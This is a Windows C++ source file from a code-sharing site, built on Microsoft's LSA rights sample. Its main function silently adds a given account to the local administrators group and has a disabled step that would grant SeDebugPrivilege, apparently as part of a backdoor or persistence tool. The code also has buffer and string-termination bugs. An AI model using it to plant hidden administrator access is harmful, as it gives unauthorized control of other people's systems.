LsaEnj.cpp
上传用户:yihongxs01
上传日期:2007-01-05
资源大小:48k
文件大小:11k
源码类别:

系统/网络安全

开发平台:

WINDOWS

  1. #ifndef UNICODE
  2. #define UNICODE
  3. #endif // UNICODE
  4.  
  5. #include <windows.h>
  6.  
  7. #include "ntsecapi.h"
  8. #include <lmaccess.h>
  9. void LogA(LPSTR strA);
  10. void LogW(LPTSTR strW)
  11. {
  12. char strA[256];
  13. wcstombs(strA,strW,wcslen(strW));
  14. LogA(strA);
  15. }
  16.  
  17. NTSTATUS
  18. OpenPolicy(
  19.     LPWSTR ServerName,          // machine to open policy on (Unicode)
  20.     DWORD DesiredAccess,        // desired access to policy
  21.     PLSA_HANDLE PolicyHandle    // resultant policy handle
  22.     );
  23.  
  24. BOOL
  25. GetAccountSid(
  26.     LPTSTR SystemName,          // where to lookup account
  27.     LPTSTR AccountName,         // account of interest
  28.     PSID *Sid                   // resultant buffer containing SID
  29.     );
  30.  
  31. NTSTATUS
  32. SetPrivilegeOnAccount(
  33.     LSA_HANDLE PolicyHandle,    // open policy handle
  34.     PSID AccountSid,            // SID to grant privilege to
  35.     LPWSTR PrivilegeName,       // privilege to grant (Unicode)
  36.     BOOL bEnable                // enable or disable
  37.     );
  38.  
  39. void
  40. InitLsaString(
  41.     PLSA_UNICODE_STRING LsaString, // destination
  42.     LPWSTR String                  // source (Unicode)
  43.     );
  44.  
  45. void
  46. DisplayNtStatus(
  47.     LPSTR szAPI,                // pointer to function name (ANSI)
  48.     NTSTATUS Status             // NTSTATUS error value
  49.     );
  50.  
  51. void
  52. DisplayWinError(
  53.     LPSTR szAPI,                // pointer to function name (ANSI)
  54.     DWORD WinError              // DWORD WinError
  55.     );
  56.  
  57. #define RTN_OK 0
  58. #define RTN_USAGE 1
  59. #define RTN_ERROR 13
  60.  
  61. //
  62. // If you have the ddk, include ntstatus.h.
  63. //
  64. #ifndef STATUS_SUCCESS
  65. #define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
  66. #endif
  67.  
  68. int ChangeUserRights(char* Account)
  69. {
  70.     LSA_HANDLE PolicyHandle;
  71.     WCHAR wComputerName[200]=L"";
  72.     WCHAR wGroupName[200]=L"冷扈龛耱疣蝾瘥";//L"Administrators";   
  73. WCHAR szAccountName[200];
  74. WCHAR szProcessAccountName[200];
  75. DWORD dwAccountSize = 200;
  76. LONG lAccountSize = 200;
  77. SID administrators;
  78. SID_IDENTIFIER_AUTHORITY  IdentifierAuthority= SECURITY_NT_AUTHORITY;
  79.     DWORD cbName = sizeof(wGroupName);
  80. WCHAR  ReferencedDomainName[255];
  81. DWORD  cbReferencedDomainName = 255; 
  82. SID_NAME_USE eUse;
  83.     PSID pSid;
  84.     NTSTATUS Status;
  85.     int iRetVal=RTN_ERROR;          
  86. administrators.IdentifierAuthority = IdentifierAuthority;
  87. administrators.SubAuthority[0] = SECURITY_BUILTIN_DOMAIN_RID;
  88. administrators.SubAuthority[1] = DOMAIN_GROUP_RID_ADMINS;
  89. administrators.Revision = 1;
  90.  
  91. mbstowcs(szAccountName,Account,strlen(Account));
  92. LogA("nChangeUserRight Begin");
  93. GetUserName(szProcessAccountName,&dwAccountSize);
  94. LogA("nProcess Account: ");
  95. LogW(szProcessAccountName);
  96. if(!wcslen(szAccountName)){
  97. LogA("nNo account");
  98. return 0;
  99. }
  100. LogA("nUserName:");
  101. LogW(szAccountName);
  102. LogA("n");
  103.         
  104.     //
  105.     // Open the policy on the target machine.
  106.     //
  107.     if((Status=OpenPolicy(
  108.                 wComputerName,      // target machine
  109.                 POLICY_ALL_ACCESS, //
  110.                 &PolicyHandle       // resultant policy handle
  111.                 )) != STATUS_SUCCESS) {
  112.         DisplayNtStatus("OpenPolicy", Status);
  113.         return RTN_ERROR;
  114.     }
  115.  
  116.     //
  117.     // Obtain the SID of the user/group.
  118.     // Note that we could target a specific machine, but we don't.
  119.     // Specifying NULL for target machine searches for the SID in the
  120.     // following order: well-known, Built-in and local, primary domain,
  121.     // trusted domains.
  122.     //
  123.     if(GetAccountSid(
  124.             NULL,       // default lookup logic
  125.             szAccountName,// account to obtain SID
  126.             &pSid       // buffer to allocate to contain resultant SID
  127.             )) {
  128.         //
  129.         // We only grant the privilege if we succeeded in obtaining the
  130.         // SID. We can actually add SIDs which cannot be looked up, but
  131.         // looking up the SID is a good sanity check which is suitable for
  132.         // most cases.
  133.  
  134.         //SE_SHUTDOWN_NAME
  135.         // Grant the SeServiceLogonRight to users represented by pSid.
  136.         //
  137. /*
  138.         if((Status=SetPrivilegeOnAccount(
  139.                     PolicyHandle,           // policy handle
  140.                     pSid,                   // SID to grant privilege
  141.                     L"SeDebugPrivilege", // Unicode privilege
  142.                     TRUE                    // enable the privilege
  143.                     )) == STATUS_SUCCESS)
  144.             iRetVal=RTN_OK;
  145.         else
  146.             DisplayNtStatus("AddUserRightToAccount", Status);
  147. */
  148.     }
  149.     else {
  150.         //
  151.         // Error obtaining SID.
  152.         //
  153.         DisplayWinError("GetAccountSid", GetLastError());
  154.     }
  155. if(!LookupAccountSid( 
  156. 0, 
  157. &administrators, 
  158. wGroupName, 
  159. &cbName, 
  160. ReferencedDomainName, 
  161. &cbReferencedDomainName, 
  162. &eUse 
  163. )) LogA("LookupAccountSid failedn");
  164. NetLocalGroupAddMember(0,wGroupName,pSid);
  165.  
  166.     //
  167.     // Close the policy handle.
  168.     //
  169.     LsaClose(PolicyHandle);
  170.  
  171.     //
  172.     // Free memory allocated for SID.
  173.     //
  174.     if(pSid != NULL) HeapFree(GetProcessHeap(), 0, pSid);
  175.  
  176.    
  177.     return iRetVal;
  178. }
  179.  
  180. void
  181. InitLsaString(
  182.     PLSA_UNICODE_STRING LsaString,
  183.     LPWSTR String
  184.     )
  185. {
  186.     DWORD StringLength;
  187.  
  188.     if (String == NULL) {
  189.         LsaString->Buffer = NULL;
  190.         LsaString->Length = 0;
  191.         LsaString->MaximumLength = 0;
  192.         return;
  193.     }
  194.  
  195.     StringLength = wcslen(String);
  196.     LsaString->Buffer = String;
  197.     LsaString->Length = (USHORT) StringLength * sizeof(WCHAR);
  198.     LsaString->MaximumLength=(USHORT)(StringLength+1) * sizeof(WCHAR);
  199. }
  200.  
  201. NTSTATUS
  202. OpenPolicy(
  203.     LPWSTR ServerName,
  204.     DWORD DesiredAccess,
  205.     PLSA_HANDLE PolicyHandle
  206.     )
  207. {
  208.     LSA_OBJECT_ATTRIBUTES ObjectAttributes;
  209.     LSA_UNICODE_STRING ServerString;
  210.     PLSA_UNICODE_STRING Server = NULL;
  211.  
  212.     //
  213.     // Always initialize the object attributes to all zeroes.
  214.     //
  215.     ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes));
  216.  
  217.     if (ServerName != NULL) {
  218.         //
  219.         // Make a LSA_UNICODE_STRING out of the LPWSTR passed in
  220.         //
  221.         InitLsaString(&ServerString, ServerName);
  222.         Server = &ServerString;
  223.     }
  224.  
  225.     //
  226.     // Attempt to open the policy.
  227.     //
  228.     return LsaOpenPolicy(
  229.                 Server,
  230.                 &ObjectAttributes,
  231.                 DesiredAccess,
  232.                 PolicyHandle
  233.                 );
  234. }
  235.  
  236.  
  237. BOOL
  238. GetAccountSid(
  239.     LPTSTR SystemName,
  240.     LPTSTR AccountName,
  241.     PSID *Sid
  242.     )
  243. {
  244.     LPTSTR ReferencedDomain=NULL;
  245.     DWORD cbSid=128;    // initial allocation attempt
  246.     DWORD cbReferencedDomain=16; // initial allocation size
  247.     SID_NAME_USE peUse;
  248.     BOOL bSuccess=FALSE; // assume this function will fail
  249.  
  250.     __try {
  251.  
  252.     //
  253.     // initial memory allocations
  254.     //
  255.     if((*Sid=HeapAlloc(
  256.                     GetProcessHeap(),
  257.                     0,
  258.                     cbSid
  259.                     )) == NULL) __leave;
  260.  
  261.     if((ReferencedDomain=(LPTSTR)HeapAlloc(
  262.                     GetProcessHeap(),
  263.                     0,
  264.                     cbReferencedDomain
  265.                     )) == NULL) __leave;
  266.  
  267.     //
  268.     // Obtain the SID of the specified account on the specified system.
  269.     //
  270.     while(!LookupAccountName(
  271.                     SystemName,         // machine to lookup account on
  272.                     AccountName,        // account to lookup
  273.                     *Sid,               // SID of interest
  274.                     &cbSid,             // size of SID
  275.                     ReferencedDomain,   // domain account was found on
  276.                     &cbReferencedDomain,
  277.                     &peUse
  278.                     )) {
  279.         if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
  280.             //
  281.             // reallocate memory
  282.             //
  283.             if((*Sid=HeapReAlloc(
  284.                         GetProcessHeap(),
  285.                         0,
  286.                         *Sid,
  287.                         cbSid
  288.                         )) == NULL) __leave;
  289.  
  290.             if((ReferencedDomain=(LPTSTR)HeapReAlloc(
  291.                         GetProcessHeap(),
  292.                         0,
  293.                         ReferencedDomain,
  294.                         cbReferencedDomain
  295.                         )) == NULL) __leave;
  296.         }
  297.         else __leave;
  298.     }
  299.  
  300.     //
  301.     // Indicate success.
  302.     //
  303.     bSuccess=TRUE;
  304.  
  305.     } // finally
  306.     __finally {
  307.  
  308.     //
  309.     // Cleanup and indicate failure, if appropriate.
  310.     //
  311.  
  312.     HeapFree(GetProcessHeap(), 0, ReferencedDomain);
  313.  
  314.     if(!bSuccess) {
  315.         if(*Sid != NULL) {
  316.             HeapFree(GetProcessHeap(), 0, *Sid);
  317.             *Sid = NULL;
  318.         }
  319.     }
  320.  
  321.     } // finally
  322.  
  323.     return bSuccess;
  324. }
  325.  
  326. NTSTATUS
  327. SetPrivilegeOnAccount(
  328.     LSA_HANDLE PolicyHandle,    // open policy handle
  329.     PSID AccountSid,            // SID to grant privilege to
  330.     LPWSTR PrivilegeName,       // privilege to grant (Unicode)
  331.     BOOL bEnable                // enable or disable
  332.     )
  333. {
  334.     LSA_UNICODE_STRING PrivilegeString;
  335.  
  336.     //
  337.     // Create a LSA_UNICODE_STRING for the privilege name.
  338.     //
  339.     InitLsaString(&PrivilegeString, PrivilegeName);
  340.  
  341.     //
  342.     // grant or revoke the privilege, accordingly
  343.     //
  344.     if(bEnable) {
  345.         return LsaAddAccountRights(
  346.                 PolicyHandle,       // open policy handle
  347.                 AccountSid,         // target SID
  348.                 &PrivilegeString,   // privileges
  349.                 1                   // privilege count
  350.                 );
  351.     }
  352.     else {
  353.         return LsaRemoveAccountRights(
  354.                 PolicyHandle,       // open policy handle
  355.                 AccountSid,         // target SID
  356.                 FALSE,              // do not disable all rights
  357.                 &PrivilegeString,   // privileges
  358.                 1                   // privilege count
  359.                 );
  360.     }
  361. }
  362.  
  363. void
  364. DisplayNtStatus(
  365.     LPSTR szAPI,
  366.     NTSTATUS Status
  367.     )
  368. {
  369.     //
  370.     // Convert the NTSTATUS to Winerror. Then call DisplayWinError().
  371.     //
  372.     DisplayWinError(szAPI, LsaNtStatusToWinError(Status));
  373. }
  374.  
  375. void
  376. DisplayWinError(
  377.     LPSTR szAPI,
  378.     DWORD WinError
  379.     )
  380. {
  381.     LPSTR MessageBuffer;
  382.     DWORD dwBufferLength;
  383.  
  384.     if(dwBufferLength=FormatMessageA(
  385.                         FORMAT_MESSAGE_ALLOCATE_BUFFER |
  386.                         FORMAT_MESSAGE_FROM_SYSTEM,
  387.                         NULL,
  388.                         WinError,
  389.                         GetUserDefaultLangID(),
  390.                         (LPSTR) &MessageBuffer,
  391.                         0,
  392.                         NULL
  393.                         ))
  394.     {
  395.  
  396.         //
  397.         // Output message string on stderr.
  398.         //
  399. /*
  400.         WriteFile(
  401.             GetStdHandle(STD_ERROR_HANDLE),
  402.             MessageBuffer,
  403.             dwBufferLength,
  404.             &dwBytesWritten,
  405.             NULL
  406.             );
  407. */
  408. MessageBuffer[dwBufferLength] =0;
  409. LogA(MessageBuffer);
  410.  
  411.         //
  412.         // Free the buffer allocated by the system.
  413.         //
  414.         LocalFree(MessageBuffer);
  415.     }
  416. }